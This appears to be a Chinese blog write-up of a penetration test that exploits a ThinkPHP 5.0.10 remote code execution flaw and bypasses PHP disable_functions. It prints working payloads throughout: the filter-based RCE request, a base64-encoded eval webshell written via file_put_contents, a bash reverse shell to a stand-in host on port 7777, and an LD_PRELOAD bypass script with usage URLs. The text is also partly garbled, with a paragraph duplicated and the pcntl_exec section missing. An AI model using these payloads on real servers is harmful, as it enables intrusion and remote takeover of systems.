这篇文章主要给大家介绍了一次项目中Thinkphp绕过禁用函数的实战记录,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下目录前言 file_put_contents pcntl_exec LD_PRELOAD 劫持总结前言在一次渗透测试中，手工找了许久没发现什么东西，抱着尝试的心情打开了xray 果然xray还是挺给力的，一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞直接使用命令执行payload，结果报出system函数被禁用 ``` s=whoami&_method=__construct&method=&filter[]=system ``` ![图片描述](https://dn-simplecloud.shiyanlou.com/questions/uid2062716-20220322-1647915048278) 尝试应用其他函数进行利用，经过测试发现call_user_func函数没有被禁用 Payload ``` s=phpinfo&_method=__construct&method=get&filter[]=call_user_func ``` 可以看到哪些函数被禁用了 ![图片描述](https://dn-simplecloud.shiyanlou.com/questions/uid2062716-20220322-1647915077761) 看到assert和include没有被禁用，一开始想写shell进日志然后去利用文件包含，发现并没有任何反应，也不报错。 file_put_contents 又回去看被禁用的函数，发现文件函数没被禁用，可以用file_put_contents函数去写文件测试写入phpinfo文件 ``` s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert ``` s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert 写入成功 ![图片描述](https://dn-simplecloud.shiyanlou.com/questions/uid2062716-20220322-1647915117879) 写入冰蝎马可以进行文件管理了 ![图片描述](https://dn-simplecloud.shiyanlou.com/questions/uid2062716-20220322-1647915132622) 虽然可以进行文件操作了，但还是没法执行命令 ``` bash -i >& /dev/tcp/vpsip/7777 0>&1 ``` 浏览器访问exe.php成功反弹shell ![图片描述](https://dn-simplecloud.shiyanlou.com/questions/uid2062716-20220322-1647915199157) LD_PRELOAD 劫持这次渗透是结束了，这里尝试了另外一种绕过方法，如果遇到pcntl_exec函数也被禁用的情况，可以利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果。详细的原理介绍就不赘述了，可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/ 这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器 bypass_disablefunc.php LD_PRELOAD 劫持这次渗透是结束了，这里尝试了另外一种绕过方法，如果遇到pcntl_exec函数也被禁用的情况，可以利用环境变量 LD_PRELOAD 劫持系统函数，让外部程序加载恶意 *.so，达到执行系统命令的效果。详细的原理介绍就不赘述了，可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/ 这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器 bypass_disablefunc.php ``` example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "

output:
" . nl2br(file_get_contents($out_path)) . "

"; unlink($out_path); ?> ``` bypass_disablefunc.php提供了三个参数： cmd 参数，待执行的系统命令（如 whoami）。 outpath 参数，保存命令执行输出结果的文件路径（如 /www/wwwroot/public），便于在页面上显示，另外关于该参数，你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。 sopath 参数，指定劫持系统函数的共享对象的绝对路径（如 /www/wwwroot/bypass_disablefunc_x64.so），另外关于该参数，你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。 bypass_disablefunc.c 可以在github上找到上述需要的文件 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD 这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录在浏览器访问bypass_disablefunc.php传入参数 ``` http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so ``` 成功执行命令 ![图片描述](https://dn-simplecloud.shiyanlou.com/questions/uid2062716-20220322-1647915307550) 总结到此这篇关于一次项目中Thinkphp绕过禁用函数的文章就介绍到这了。